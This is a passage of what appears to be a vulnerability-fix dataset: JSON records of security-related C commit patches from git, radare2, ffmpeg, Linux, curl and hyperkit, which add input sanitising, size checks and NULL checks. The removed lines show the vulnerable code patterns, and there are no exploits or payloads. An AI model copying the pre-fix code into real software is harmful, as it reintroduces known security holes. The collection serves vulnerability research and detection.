\tFUNC(GITMODULES_URL, ERROR) \\\n \tFUNC(GITMODULES_PATH, ERROR) \\\n \tFUNC(GITMODULES_UPDATE, ERROR) \\\n+\tFUNC(GITATTRIBUTES_MISSING, ERROR) \\\n+\tFUNC(GITATTRIBUTES_LARGE, ERROR) \\\n+\tFUNC(GITATTRIBUTES_LINE_LENGTH, ERROR) \\\n+\tFUNC(GITATTRIBUTES_BLOB, ERROR) \\\n \t/* warnings */ \\\n \tFUNC(EMPTY_NAME, WARN) \\\n \tFUNC(FULL_PATHNAME, WARN) \\\n@@ -133,25 +137,33 @@ struct fsck_options {\n \tstruct oidset skiplist;\n \tstruct oidset gitmodules_found;\n \tstruct oidset gitmodules_done;\n+\tstruct oidset gitattributes_found;\n+\tstruct oidset gitattributes_done;\n \tkh_oid_map_t *object_names;\n };\n \n #define FSCK_OPTIONS_DEFAULT { \\\n \t.skiplist = OIDSET_INIT, \\\n \t.gitmodules_found = OIDSET_INIT, \\\n \t.gitmodules_done = OIDSET_INIT, \\\n+\t.gitattributes_found = OIDSET_INIT, \\\n+\t.gitattributes_done = OIDSET_INIT, \\\n \t.error_func = fsck_error_function \\\n }\n #define FSCK_OPTIONS_STRICT { \\\n \t.strict = 1, \\\n \t.gitmodules_found = OIDSET_INIT, \\\n \t.gitmodules_done = OIDSET_INIT, \\\n+\t.gitattributes_found = OIDSET_INIT, \\\n+\t.gitattributes_done = OIDSET_INIT, \\\n \t.error_func = fsck_error_function, \\\n }\n #define FSCK_OPTIONS_MISSING_GITMODULES { \\\n \t.strict = 1, \\\n \t.gitmodules_found = OIDSET_INIT, \\\n \t.gitmodules_done = OIDSET_INIT, \\\n+\t.gitattributes_found = OIDSET_INIT, \\\n+\t.gitattributes_done = OIDSET_INIT, \\\n \t.error_func = fsck_error_cb_print_missing_gitmodules, \\\n }\n ", "sections": [{"section": "@@ -59,6 +59,10 @@ enum fsck_msg_type {\n \tFUNC(GITMODULES_URL, ERROR) \\\n \tFUNC(GITMODULES_PATH, ERROR) \\\n \tFUNC(GITMODULES_UPDATE, ERROR) \\\n+\tFUNC(GITATTRIBUTES_MISSING, ERROR) \\\n+\tFUNC(GITATTRIBUTES_LARGE, ERROR) \\\n+\tFUNC(GITATTRIBUTES_LINE_LENGTH, ERROR) \\\n+\tFUNC(GITATTRIBUTES_BLOB, ERROR) \\\n \t/* warnings */ \\\n \tFUNC(EMPTY_NAME, WARN) \\\n \tFUNC(FULL_PATHNAME, WARN) \\\n", "related": false}, {"section": "@@ -133,25 +137,33 @@ struct fsck_options {\n \tstruct oidset skiplist;\n \tstruct oidset gitmodules_found;\n \tstruct oidset gitmodules_done;\n+\tstruct oidset gitattributes_found;\n+\tstruct oidset gitattributes_done;\n \tkh_oid_map_t *object_names;\n };\n \n #define FSCK_OPTIONS_DEFAULT { \\\n \t.skiplist = OIDSET_INIT, \\\n \t.gitmodules_found = OIDSET_INIT, \\\n \t.gitmodules_done = OIDSET_INIT, \\\n+\t.gitattributes_found = OIDSET_INIT, \\\n+\t.gitattributes_done = OIDSET_INIT, \\\n \t.error_func = fsck_error_function \\\n }\n #define FSCK_OPTIONS_STRICT { \\\n \t.strict = 1, \\\n \t.gitmodules_found = OIDSET_INIT, \\\n \t.gitmodules_done = OIDSET_INIT, \\\n+\t.gitattributes_found = OIDSET_INIT, \\\n+\t.gitattributes_done = OIDSET_INIT, \\\n \t.error_func = fsck_error_function, \\\n }\n #define FSCK_OPTIONS_MISSING_GITMODULES { \\\n \t.strict = 1, \\\n \t.gitmodules_found = OIDSET_INIT, \\\n \t.gitmodules_done = OIDSET_INIT, \\\n+\t.gitattributes_found = OIDSET_INIT, \\\n+\t.gitattributes_done = OIDSET_INIT, \\\n \t.error_func = fsck_error_cb_print_missing_gitmodules, \\\n }\n ", "related": false}]} +{"owner": "git-for-windows", "repo": "git", "language": "C", "file_name": "git-compat-util.h", "commit_id": "7360767e8dfc1895a932324079f7d45d7791d39f", "commit_message": "Merge v2.39.1.windows.1 (#4219)\n\nThis PR takes the embargoed release tag `v2.39.1.windows.1` and merges\r\nit into the `main` branch.\r\n\r\nIt likely that I messed something up in the order of releasing the\r\nsecurity release and merging the [security\r\nadvisory](https://github.com/git-for-windows/git/security/advisories/GHSA-v4px-mx59-w99c).", "patch": "@@ -1051,6 +1051,14 @@ static inline unsigned long cast_size_t_to_ulong(size_t a)\n \treturn (unsigned long)a;\n }\n \n+static inline int cast_size_t_to_int(size_t a)\n+{\n+\tif (a > INT_MAX)\n+\t\tdie(\"number too large to represent as int on this platform: %\"PRIuMAX,\n+\t\t (uintmax_t)a);\n+\treturn (int)a;\n+}\n+\n /*\n * Limit size of IO chunks, because huge chunks only cause pain. OS X\n * 64-bit is buggy, returning EINVAL if len >= INT_MAX; and even in", "sections": [{"section": "@@ -1051,6 +1051,14 @@ static inline unsigned long cast_size_t_to_ulong(size_t a)\n \treturn (unsigned long)a;\n }\n \n+static inline int cast_size_t_to_int(size_t a)\n+{\n+\tif (a > INT_MAX)\n+\t\tdie(\"number too large to represent as int on this platform: %\"PRIuMAX,\n+\t\t (uintmax_t)a);\n+\treturn (int)a;\n+}\n+\n /*\n * Limit size of IO chunks, because huge chunks only cause pain. OS X\n * 64-bit is buggy, returning EINVAL if len >= INT_MAX; and even in", "related": false}]} +{"owner": "radareorg", "repo": "radare2", "language": "C", "file_name": "libr/bin/dwarf.c", "commit_id": "961f0e723903011d4f54c2396e44efa91fcc74ce", "commit_message": "Fix ANSI Escape Sequence Injection vulns via DWARF ##vuln\n\n* Reported by @solid-snail via huntrdev\r\n* BountyID: 583133af-7ae6-4a21-beef-a4b0182cf82e\r\n* Reproducer: dwarf_test_func_patched", "patch": "@@ -431,6 +431,7 @@ static const ut8 *parse_line_header_source(RBinFile *bf, const ut8 *buf, const u\n \tint i = 0;\n \tsize_t count;\n \tconst ut8 *tmp_buf = NULL;\n+\tchar *fn = NULL;\n \n \tif (mode == R_MODE_PRINT) {\n \t\tprint (\" The Directory Table:\\n\");\n@@ -464,10 +465,12 @@ static const ut8 *parse_line_header_source(RBinFile *bf, const ut8 *buf, const u\n \n \tfor (i = 0; i < 2; i++) {\n \t\twhile (buf + 1 < buf_end) {\n-\t\t\tconst char *filename = (const char *)buf;\n \t\t\tsize_t maxlen = R_MIN ((size_t) (buf_end - buf - 1), 0xfff);\n \t\t\tut64 id_idx, mod_time, file_len;\n-\t\t\tsize_t len = r_str_nlen (filename, maxlen);\n+\t\t\tfree (fn);\n+\t\t\tfn = r_str_ndup ((const char *)buf, maxlen);\n+\t\t\tr_str_ansi_strip (fn);\n+\t\t\tsize_t len = strlen (fn);\n \n \t\t\tif (!len) {\n \t\t\t\tbuf++;\n@@ -512,7 +515,7 @@ static const ut8 *parse_line_header_source(RBinFile *bf, const ut8 *buf, const u\n \t\t\t\t}\n \n \t\t\t\tif (hdr->file_names) {\n-\t\t\t\t\thdr->file_names[count].name = r_str_newf(\"%s/%s\", r_str_get (include_dir), filename);\n+\t\t\t\t\thdr->file_names[count].name = r_str_newf(\"%s/%s\", r_str_get (include_dir), fn);\n \t\t\t\t\thdr->file_names[count].id_idx = id_idx;\n \t\t\t\t\thdr->file_names[count].mod_time = mod_time;\n \t\t\t\t\thdr->file_names[count].file_len = file_len;\n@@ -525,7 +528,8 @@ static const ut8 *parse_line_header_source(RBinFile *bf, const ut8 *buf, const u\n \t\t\t}\n \t\t\tcount++;\n \t\t\tif (mode == R_MODE_PRINT && i) {\n-\t\t\t\tprint (\" %d %\" PFMT64d \" %\" PFMT64d \" %\" PFMT64d \" %s\\n\", entry_index++, id_idx, mod_time, file_len, filename);\n+\t\t\t\tprint (\" %d %\" PFMT64d \" %\" PFMT64d \" %\" PFMT64d \" %s\\n\",\n+\t\t\t\t\t\tentry_index++, id_idx, mod_time, file_len, fn);\n \t\t\t}\n \t\t}\n \t\tif (i == 0) {\n@@ -544,6 +548,7 @@ static const ut8 *parse_line_header_source(RBinFile *bf, const ut8 *buf, const u\n \t}\n \n beach:\n+\tfree (fn);\n \tsdb_free (sdb);\n \n \treturn buf;\n@@ -677,7 +682,6 @@ static const ut8 *parse_line_header(\n \n static inline void add_sdb_addrline(Sdb *s, ut64 addr, const char *file, ut64 line, int mode, PrintfCallback print) {\n \tconst char *p;\n-\tchar *fileline;\n \tchar offset[SDB_NUM_BUFSZ];\n \tchar *offset_ptr;\n \n@@ -706,7 +710,10 @@ static inline void add_sdb_addrline(Sdb *s, ut64 addr, const char *file, ut64 li\n #else\n \tp = file;\n #endif\n-\tfileline = r_str_newf (\"%s|%\"PFMT64d, p, line);\n+\tchar *fileline = r_str_newf (\"%s|%\"PFMT64d, p, line);\n+\tr_str_ansi_strip (fileline);\n+\tr_str_replace_ch (fileline, '\\n', 0, true);\n+\tr_str_replace_ch (fileline, '\\t', 0, true);\n \toffset_ptr = sdb_itoa (addr, 16, offset, sizeof (offset));\n \tsdb_add (s, offset_ptr, fileline, 0);\n \tsdb_add (s, fileline, offset_ptr, 0);\n@@ -1666,7 +1673,15 @@ static const ut8 *parse_attr_value(const ut8 *obuf, int obuf_len,\n \t\tbreak;\n \tcase DW_FORM_string:\n \t\tvalue->kind = DW_AT_KIND_STRING;\n-\t\tvalue->string.content = *buf ? r_str_ndup ((const char *)buf, buf_end - buf) : NULL;\n+\t\tif (*buf) {\n+\t\t\tchar *name = r_str_ndup ((const char *)buf, buf_end - buf);\n+\t\t\tr_str_ansi_strip (name);\n+\t\t\tr_str_replace_ch (name, '\\n', 0, true);\n+\t\t\tr_str_replace_ch (name, '\\t', 0, true);\n+\t\t\tvalue->string.content = name;\n+\t\t} else {\n+\t\t\tvalue->string.content = NULL;\n+\t\t}\n \t\tif (value->string.content) {\n \t\t\tbuf += strlen (value->string.content) + 1;\n \t\t}\n@@ -1711,8 +1726,15 @@ static const ut8 *parse_attr_value(const ut8 *obuf, int obuf_len,\n \t\tvalue->kind = DW_AT_KIND_STRING;\n \t\tvalue->string.offset = dwarf_read_offset (hdr->is_64bit, &buf, buf_end);\n \t\tif (debug_str && value->string.offset < debug_str_len) {\n-\t\t\tconst char *ds = (const char *)(debug_str + value->string.offset);\n-\t\t\tvalue->string.content = strdup (ds); // r_str_ndup (ds, debug_str_len - value->string.offset);\n+\t\t\tchar *ds = r_str_ndup ((const char *)(debug_str + value->string.offset), debug_str_len);\n+\t\t\tif (ds) {\n+\t\t\t\tr_str_ansi_strip (ds);\n+\t\t\t\tr_str_replace_ch (ds, '\\n', 0, true);\n+\t\t\t\tr_str_replace_ch (ds, '\\t', 0, true);\n+\t\t\t\tvalue->string.content = ds;\n+\t\t\t} else {\n+\t\t\t\tvalue->string.content = NULL;\n+\t\t\t}\n \t\t} else {\n \t\t\tvalue->string.content = NULL; // Means malformed DWARF, should we print error message?\n \t\t}\n@@ -1903,8 +1925,11 @@ static const ut8 *parse_die(const ut8 *buf, const ut8 *buf_end, RBinDwarfAbbrevD\n \t\t// Or atleast it needs to rework becase there will be\n \t\t// more comp units -> more comp dirs and only the last one will be kept\n \t\tif (attribute->attr_name == DW_AT_comp_dir && is_valid_string_form) {\n-\t\t\tconst char *name = attribute->string.content;\n-\t\t\tsdb_set (sdb, \"DW_AT_comp_dir\", name, 0);\n+\t\t\tchar *name = strdup (attribute->string.content);\n+\t\t\tr_str_ansi_strip (name);\n+\t\t\tr_str_replace_ch (name, '\\n', 0, true);\n+\t\t\tr_str_replace_ch (name, '\\t', 0, true);\n+\t\t\tsdb_set_owned (sdb, \"DW_AT_comp_dir\", name, 0);\n \t\t}\n \t\tdie->count++;\n \t}", "sections": [{"section": "@@ -431,6 +431,7 @@ static const ut8 *parse_line_header_source(RBinFile *bf, const ut8 *buf, const u\n \tint i = 0;\n \tsize_t count;\n \tconst ut8 *tmp_buf = NULL;\n+\tchar *fn = NULL;\n \n \tif (mode == R_MODE_PRINT) {\n \t\tprint (\" The Directory Table:\\n\");\n", "related": true}, {"section": "@@ -464,10 +465,12 @@ static const ut8 *parse_line_header_source(RBinFile *bf, const ut8 *buf, const u\n \n \tfor (i = 0; i < 2; i++) {\n \t\twhile (buf + 1 < buf_end) {\n-\t\t\tconst char *filename = (const char *)buf;\n \t\t\tsize_t maxlen = R_MIN ((size_t) (buf_end - buf - 1), 0xfff);\n \t\t\tut64 id_idx, mod_time, file_len;\n-\t\t\tsize_t len = r_str_nlen (filename, maxlen);\n+\t\t\tfree (fn);\n+\t\t\tfn = r_str_ndup ((const char *)buf, maxlen);\n+\t\t\tr_str_ansi_strip (fn);\n+\t\t\tsize_t len = strlen (fn);\n \n \t\t\tif (!len) {\n \t\t\t\tbuf++;\n", "related": true}, {"section": "@@ -512,7 +515,7 @@ static const ut8 *parse_line_header_source(RBinFile *bf, const ut8 *buf, const u\n \t\t\t\t}\n \n \t\t\t\tif (hdr->file_names) {\n-\t\t\t\t\thdr->file_names[count].name = r_str_newf(\"%s/%s\", r_str_get (include_dir), filename);\n+\t\t\t\t\thdr->file_names[count].name = r_str_newf(\"%s/%s\", r_str_get (include_dir), fn);\n \t\t\t\t\thdr->file_names[count].id_idx = id_idx;\n \t\t\t\t\thdr->file_names[count].mod_time = mod_time;\n \t\t\t\t\thdr->file_names[count].file_len = file_len;\n", "related": true}, {"section": "@@ -525,7 +528,8 @@ static const ut8 *parse_line_header_source(RBinFile *bf, const ut8 *buf, const u\n \t\t\t}\n \t\t\tcount++;\n \t\t\tif (mode == R_MODE_PRINT && i) {\n-\t\t\t\tprint (\" %d %\" PFMT64d \" %\" PFMT64d \" %\" PFMT64d \" %s\\n\", entry_index++, id_idx, mod_time, file_len, filename);\n+\t\t\t\tprint (\" %d %\" PFMT64d \" %\" PFMT64d \" %\" PFMT64d \" %s\\n\",\n+\t\t\t\t\t\tentry_index++, id_idx, mod_time, file_len, fn);\n \t\t\t}\n \t\t}\n \t\tif (i == 0) {\n", "related": true}, {"section": "@@ -544,6 +548,7 @@ static const ut8 *parse_line_header_source(RBinFile *bf, const ut8 *buf, const u\n \t}\n \n beach:\n+\tfree (fn);\n \tsdb_free (sdb);\n \n \treturn buf;\n", "related": true}, {"section": "@@ -677,7 +682,6 @@ static const ut8 *parse_line_header(\n \n static inline void add_sdb_addrline(Sdb *s, ut64 addr, const char *file, ut64 line, int mode, PrintfCallback print) {\n \tconst char *p;\n-\tchar *fileline;\n \tchar offset[SDB_NUM_BUFSZ];\n \tchar *offset_ptr;\n \n", "related": true}, {"section": "@@ -706,7 +710,10 @@ static inline void add_sdb_addrline(Sdb *s, ut64 addr, const char *file, ut64 li\n #else\n \tp = file;\n #endif\n-\tfileline = r_str_newf (\"%s|%\"PFMT64d, p, line);\n+\tchar *fileline = r_str_newf (\"%s|%\"PFMT64d, p, line);\n+\tr_str_ansi_strip (fileline);\n+\tr_str_replace_ch (fileline, '\\n', 0, true);\n+\tr_str_replace_ch (fileline, '\\t', 0, true);\n \toffset_ptr = sdb_itoa (addr, 16, offset, sizeof (offset));\n \tsdb_add (s, offset_ptr, fileline, 0);\n \tsdb_add (s, fileline, offset_ptr, 0);\n", "related": true}, {"section": "@@ -1666,7 +1673,15 @@ static const ut8 *parse_attr_value(const ut8 *obuf, int obuf_len,\n \t\tbreak;\n \tcase DW_FORM_string:\n \t\tvalue->kind = DW_AT_KIND_STRING;\n-\t\tvalue->string.content = *buf ? r_str_ndup ((const char *)buf, buf_end - buf) : NULL;\n+\t\tif (*buf) {\n+\t\t\tchar *name = r_str_ndup ((const char *)buf, buf_end - buf);\n+\t\t\tr_str_ansi_strip (name);\n+\t\t\tr_str_replace_ch (name, '\\n', 0, true);\n+\t\t\tr_str_replace_ch (name, '\\t', 0, true);\n+\t\t\tvalue->string.content = name;\n+\t\t} else {\n+\t\t\tvalue->string.content = NULL;\n+\t\t}\n \t\tif (value->string.content) {\n \t\t\tbuf += strlen (value->string.content) + 1;\n \t\t}\n", "related": true}, {"section": "@@ -1711,8 +1726,15 @@ static const ut8 *parse_attr_value(const ut8 *obuf, int obuf_len,\n \t\tvalue->kind = DW_AT_KIND_STRING;\n \t\tvalue->string.offset = dwarf_read_offset (hdr->is_64bit, &buf, buf_end);\n \t\tif (debug_str && value->string.offset < debug_str_len) {\n-\t\t\tconst char *ds = (const char *)(debug_str + value->string.offset);\n-\t\t\tvalue->string.content = strdup (ds); // r_str_ndup (ds, debug_str_len - value->string.offset);\n+\t\t\tchar *ds = r_str_ndup ((const char *)(debug_str + value->string.offset), debug_str_len);\n+\t\t\tif (ds) {\n+\t\t\t\tr_str_ansi_strip (ds);\n+\t\t\t\tr_str_replace_ch (ds, '\\n', 0, true);\n+\t\t\t\tr_str_replace_ch (ds, '\\t', 0, true);\n+\t\t\t\tvalue->string.content = ds;\n+\t\t\t} else {\n+\t\t\t\tvalue->string.content = NULL;\n+\t\t\t}\n \t\t} else {\n \t\t\tvalue->string.content = NULL; // Means malformed DWARF, should we print error message?\n \t\t}\n", "related": true}, {"section": "@@ -1903,8 +1925,11 @@ static const ut8 *parse_die(const ut8 *buf, const ut8 *buf_end, RBinDwarfAbbrevD\n \t\t// Or atleast it needs to rework becase there will be\n \t\t// more comp units -> more comp dirs and only the last one will be kept\n \t\tif (attribute->attr_name == DW_AT_comp_dir && is_valid_string_form) {\n-\t\t\tconst char *name = attribute->string.content;\n-\t\t\tsdb_set (sdb, \"DW_AT_comp_dir\", name, 0);\n+\t\t\tchar *name = strdup (attribute->string.content);\n+\t\t\tr_str_ansi_strip (name);\n+\t\t\tr_str_replace_ch (name, '\\n', 0, true);\n+\t\t\tr_str_replace_ch (name, '\\t', 0, true);\n+\t\t\tsdb_set_owned (sdb, \"DW_AT_comp_dir\", name, 0);\n \t\t}\n \t\tdie->count++;\n \t}", "related": true}]} +{"owner": "ffmpeg", "repo": "ffmpeg", "language": "C", "file_name": "libavformat/nutdec.c", "commit_id": "9cf652cef49d74afe3d454f27d49eb1a1394951e", "commit_message": "avformat/nutdec: Add check for avformat_new_stream\n\nCheck for failure of avformat_new_stream() and propagate\nthe error code.\n\nSigned-off-by: Michael Niedermayer ", "patch": "@@ -351,8 +351,12 @@ static int decode_main_header(NUTContext *nut)\n ret = AVERROR(ENOMEM);\n goto fail;\n }\n- for (i = 0; i < stream_count; i++)\n- avformat_new_stream(s, NULL);\n+ for (i = 0; i < stream_count; i++) {\n+ if (!avformat_new_stream(s, NULL)) {\n+ ret = AVERROR(ENOMEM);\n+ goto fail;\n+ }\n+ }\n \n return 0;\n fail:\n@@ -800,19 +804,23 @@ static int nut_read_header(AVFormatContext *s)\n NUTContext *nut = s->priv_data;\n AVIOContext *bc = s->pb;\n int64_t pos;\n- int initialized_stream_count;\n+ int initialized_stream_count, ret;\n \n nut->avf = s;\n \n /* main header */\n pos = 0;\n+ ret = 0;\n do {\n+ if (ret == AVERROR(ENOMEM))\n+ return ret;\n+\n pos = find_startcode(bc, MAIN_STARTCODE, pos) + 1;\n if (pos < 0 + 1) {\n av_log(s, AV_LOG_ERROR, \"No main startcode found.\\n\");\n return AVERROR_INVALIDDATA;\n }\n- } while (decode_main_header(nut) < 0);\n+ } while ((ret = decode_main_header(nut)) < 0);\n \n /* stream headers */\n pos = 0;", "sections": [{"section": "@@ -351,8 +351,12 @@ static int decode_main_header(NUTContext *nut)\n ret = AVERROR(ENOMEM);\n goto fail;\n }\n- for (i = 0; i < stream_count; i++)\n- avformat_new_stream(s, NULL);\n+ for (i = 0; i < stream_count; i++) {\n+ if (!avformat_new_stream(s, NULL)) {\n+ ret = AVERROR(ENOMEM);\n+ goto fail;\n+ }\n+ }\n \n return 0;\n fail:\n", "related": false}, {"section": "@@ -800,19 +804,23 @@ static int nut_read_header(AVFormatContext *s)\n NUTContext *nut = s->priv_data;\n AVIOContext *bc = s->pb;\n int64_t pos;\n- int initialized_stream_count;\n+ int initialized_stream_count, ret;\n \n nut->avf = s;\n \n /* main header */\n pos = 0;\n+ ret = 0;\n do {\n+ if (ret == AVERROR(ENOMEM))\n+ return ret;\n+\n pos = find_startcode(bc, MAIN_STARTCODE, pos) + 1;\n if (pos < 0 + 1) {\n av_log(s, AV_LOG_ERROR, \"No main startcode found.\\n\");\n return AVERROR_INVALIDDATA;\n }\n- } while (decode_main_header(nut) < 0);\n+ } while ((ret = decode_main_header(nut)) < 0);\n \n /* stream headers */\n pos = 0;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/usb/dwc3/dwc3-qcom.c", "commit_id": "b52fe2dbb3e655eb1483000adfab68a219549e13", "commit_message": "usb: dwc3: qcom: Fix NULL vs IS_ERR checking in dwc3_qcom_probe\n\nSince the acpi_create_platform_device() function may return error\npointers, dwc3_qcom_create_urs_usb_platdev() function may return error\npointers too. Using IS_ERR_OR_NULL() to check the return value to fix this.\n\nFixes: c25c210f590e (\"usb: dwc3: qcom: add URS Host support for sdm845 ACPI boot\")\nSigned-off-by: Miaoqian Lin \nLink: https://lore.kernel.org/r/20211222111823.22887-1-linmq006@gmail.com\nSigned-off-by: Greg Kroah-Hartman ", "patch": "@@ -775,9 +775,12 @@ static int dwc3_qcom_probe(struct platform_device *pdev)\n \n \t\tif (qcom->acpi_pdata->is_urs) {\n \t\t\tqcom->urs_usb = dwc3_qcom_create_urs_usb_platdev(dev);\n-\t\t\tif (!qcom->urs_usb) {\n+\t\t\tif (IS_ERR_OR_NULL(qcom->urs_usb)) {\n \t\t\t\tdev_err(dev, \"failed to create URS USB platdev\\n\");\n-\t\t\t\treturn -ENODEV;\n+\t\t\t\tif (!qcom->urs_usb)\n+\t\t\t\t\treturn -ENODEV;\n+\t\t\t\telse\n+\t\t\t\t\treturn PTR_ERR(qcom->urs_usb);\n \t\t\t}\n \t\t}\n \t}", "sections": [{"section": "@@ -775,9 +775,12 @@ static int dwc3_qcom_probe(struct platform_device *pdev)\n \n \t\tif (qcom->acpi_pdata->is_urs) {\n \t\t\tqcom->urs_usb = dwc3_qcom_create_urs_usb_platdev(dev);\n-\t\t\tif (!qcom->urs_usb) {\n+\t\t\tif (IS_ERR_OR_NULL(qcom->urs_usb)) {\n \t\t\t\tdev_err(dev, \"failed to create URS USB platdev\\n\");\n-\t\t\t\treturn -ENODEV;\n+\t\t\t\tif (!qcom->urs_usb)\n+\t\t\t\t\treturn -ENODEV;\n+\t\t\t\telse\n+\t\t\t\t\treturn PTR_ERR(qcom->urs_usb);\n \t\t\t}\n \t\t}\n \t}", "related": false}]} +{"owner": "curl", "repo": "curl", "language": "C", "file_name": "lib/share.c", "commit_id": "076a2f629119222aeeb50f5a03bf9f9052fabb9a", "commit_message": "share: add sharing of HSTS cache among handles\n\nCloses #10138", "patch": "@@ -29,9 +29,11 @@\n #include \"share.h\"\n #include \"psl.h\"\n #include \"vtls/vtls.h\"\n-#include \"curl_memory.h\"\n+#include \"hsts.h\"\n \n-/* The last #include file should be: */\n+/* The last 3 #include files should be in this order */\n+#include \"curl_printf.h\"\n+#include \"curl_memory.h\"\n #include \"memdebug.h\"\n \n struct Curl_share *\n@@ -89,6 +91,18 @@ curl_share_setopt(struct Curl_share *share, CURLSHoption option, ...)\n #endif\n break;\n \n+ case CURL_LOCK_DATA_HSTS:\n+#ifndef CURL_DISABLE_HSTS\n+ if(!share->hsts) {\n+ share->hsts = Curl_hsts_init();\n+ if(!share->hsts)\n+ res = CURLSHE_NOMEM;\n+ }\n+#else /* CURL_DISABLE_HSTS */\n+ res = CURLSHE_NOT_BUILT_IN;\n+#endif\n+ break;\n+\n case CURL_LOCK_DATA_SSL_SESSION:\n #ifdef USE_SSL\n if(!share->sslsession) {\n@@ -141,6 +155,16 @@ curl_share_setopt(struct Curl_share *share, CURLSHoption option, ...)\n #endif\n break;\n \n+ case CURL_LOCK_DATA_HSTS:\n+#ifndef CURL_DISABLE_HSTS\n+ if(share->hsts) {\n+ Curl_hsts_cleanup(&share->hsts);\n+ }\n+#else /* CURL_DISABLE_HSTS */\n+ res = CURLSHE_NOT_BUILT_IN;\n+#endif\n+ break;\n+\n case CURL_LOCK_DATA_SSL_SESSION:\n #ifdef USE_SSL\n Curl_safefree(share->sslsession);\n@@ -207,6 +231,10 @@ curl_share_cleanup(struct Curl_share *share)\n Curl_cookie_cleanup(share->cookies);\n #endif\n \n+#ifndef CURL_DISABLE_HSTS\n+ Curl_hsts_cleanup(&share->hsts);\n+#endif\n+\n #ifdef USE_SSL\n if(share->sslsession) {\n size_t i;", "sections": [{"section": "@@ -29,9 +29,11 @@\n #include \"share.h\"\n #include \"psl.h\"\n #include \"vtls/vtls.h\"\n-#include \"curl_memory.h\"\n+#include \"hsts.h\"\n \n-/* The last #include file should be: */\n+/* The last 3 #include files should be in this order */\n+#include \"curl_printf.h\"\n+#include \"curl_memory.h\"\n #include \"memdebug.h\"\n \n struct Curl_share *\n", "related": false}, {"section": "@@ -89,6 +91,18 @@ curl_share_setopt(struct Curl_share *share, CURLSHoption option, ...)\n #endif\n break;\n \n+ case CURL_LOCK_DATA_HSTS:\n+#ifndef CURL_DISABLE_HSTS\n+ if(!share->hsts) {\n+ share->hsts = Curl_hsts_init();\n+ if(!share->hsts)\n+ res = CURLSHE_NOMEM;\n+ }\n+#else /* CURL_DISABLE_HSTS */\n+ res = CURLSHE_NOT_BUILT_IN;\n+#endif\n+ break;\n+\n case CURL_LOCK_DATA_SSL_SESSION:\n #ifdef USE_SSL\n if(!share->sslsession) {\n", "related": false}, {"section": "@@ -141,6 +155,16 @@ curl_share_setopt(struct Curl_share *share, CURLSHoption option, ...)\n #endif\n break;\n \n+ case CURL_LOCK_DATA_HSTS:\n+#ifndef CURL_DISABLE_HSTS\n+ if(share->hsts) {\n+ Curl_hsts_cleanup(&share->hsts);\n+ }\n+#else /* CURL_DISABLE_HSTS */\n+ res = CURLSHE_NOT_BUILT_IN;\n+#endif\n+ break;\n+\n case CURL_LOCK_DATA_SSL_SESSION:\n #ifdef USE_SSL\n Curl_safefree(share->sslsession);\n", "related": false}, {"section": "@@ -207,6 +231,10 @@ curl_share_cleanup(struct Curl_share *share)\n Curl_cookie_cleanup(share->cookies);\n #endif\n \n+#ifndef CURL_DISABLE_HSTS\n+ Curl_hsts_cleanup(&share->hsts);\n+#endif\n+\n #ifdef USE_SSL\n if(share->sslsession) {\n size_t i;", "related": false}]} +{"owner": "curl", "repo": "curl", "language": "C", "file_name": "lib/share.h", "commit_id": "076a2f629119222aeeb50f5a03bf9f9052fabb9a", "commit_message": "share: add sharing of HSTS cache among handles\n\nCloses #10138", "patch": "@@ -59,10 +59,14 @@ struct Curl_share {\n #ifdef USE_LIBPSL\n struct PslCache psl;\n #endif\n-\n+#ifndef CURL_DISABLE_HSTS\n+ struct hsts *hsts;\n+#endif\n+#ifdef USE_SSL\n struct Curl_ssl_session *sslsession;\n size_t max_ssl_sessions;\n long sessionage;\n+#endif\n };\n \n CURLSHcode Curl_share_lock(struct Curl_easy *, curl_lock_data,", "sections": [{"section": "@@ -59,10 +59,14 @@ struct Curl_share {\n #ifdef USE_LIBPSL\n struct PslCache psl;\n #endif\n-\n+#ifndef CURL_DISABLE_HSTS\n+ struct hsts *hsts;\n+#endif\n+#ifdef USE_SSL\n struct Curl_ssl_session *sslsession;\n size_t max_ssl_sessions;\n long sessionage;\n+#endif\n };\n \n CURLSHcode Curl_share_lock(struct Curl_easy *, curl_lock_data,", "related": false}]} +{"owner": "moby", "repo": "hyperkit", "language": "C", "file_name": "src/lib/virtio.c", "commit_id": "df0e46c7dbfd81a957d85e449ba41b52f6f7beb4", "commit_message": "Fix vi_pci_read null vc_cfgread function pointer dereference (GHSL-2021-054)\n\nThis is backport of what is done in bhyve\n\nSigned-off-by: Frederic Dalleau ", "patch": "@@ -559,7 +559,10 @@ vi_pci_read(UNUSED int vcpu, struct pci_devinst *pi, int baridx,\n \t\tmax = vc->vc_cfgsize ? vc->vc_cfgsize : 0x100000000;\n \t\tif ((newoff + ((unsigned) size)) > max)\n \t\t\tgoto bad;\n-\t\terror = (*vc->vc_cfgread)(DEV_SOFTC(vs), ((int) newoff), size, &value);\n+\t\tif (vc->vc_cfgread != NULL)\n+\t\t\terror = (*vc->vc_cfgread)(DEV_SOFTC(vs), ((int) newoff), size, &value);\n+\t\telse\n+\t\t\terror = 0;\n \t\tif (!error)\n \t\t\tgoto done;\n \t}", "sections": [{"section": "@@ -559,7 +559,10 @@ vi_pci_read(UNUSED int vcpu, struct pci_devinst *pi, int baridx,\n \t\tmax = vc->vc_cfgsize ? vc->vc_cfgsize : 0x100000000;\n \t\tif ((newoff + ((unsigned) size)) > max)\n \t\t\tgoto bad;\n-\t\terror = (*vc->vc_cfgread)(DEV_SOFTC(vs), ((int) newoff), size, &value);\n+\t\tif (vc->vc_cfgread != NULL)\n+\t\t\terror = (*vc->vc_cfgread)(DEV_SOFTC(vs), ((int) newoff), size, &value);\n+\t\telse\n+\t\t\terror = 0;\n \t\tif (!error)\n \t\t\tgoto done;\n \t}", "related": false}]} +{"owner": "git", "repo": "git", "language": "C", "file_name": "dir-iterator.h", "commit_id": "c867e4fa180bec4750e9b54eb10f459030dbebfd", "commit_message": "Sync with Git 2.39.2", "patch": "@@ -61,6 +61,11 @@\n * not the symlinks themselves, which is the default behavior. Broken\n * symlinks are ignored.\n *\n+ * Note: setting DIR_ITERATOR_FOLLOW_SYMLINKS affects resolving the\n+ * starting path as well (e.g., attempting to iterate starting at a\n+ * symbolic link pointing to a directory without FOLLOW_SYMLINKS will\n+ * result in an error).\n+ *\n * Warning: circular symlinks are also followed when\n * DIR_ITERATOR_FOLLOW_SYMLINKS is set. The iteration may end up with\n * an ELOOP if they happen and DIR_ITERATOR_PEDANTIC is set.", "sections": [{"section": "@@ -61,6 +61,11 @@\n * not the symlinks themselves, which is the default behavior. Broken\n * symlinks are ignored.\n *\n+ * Note: 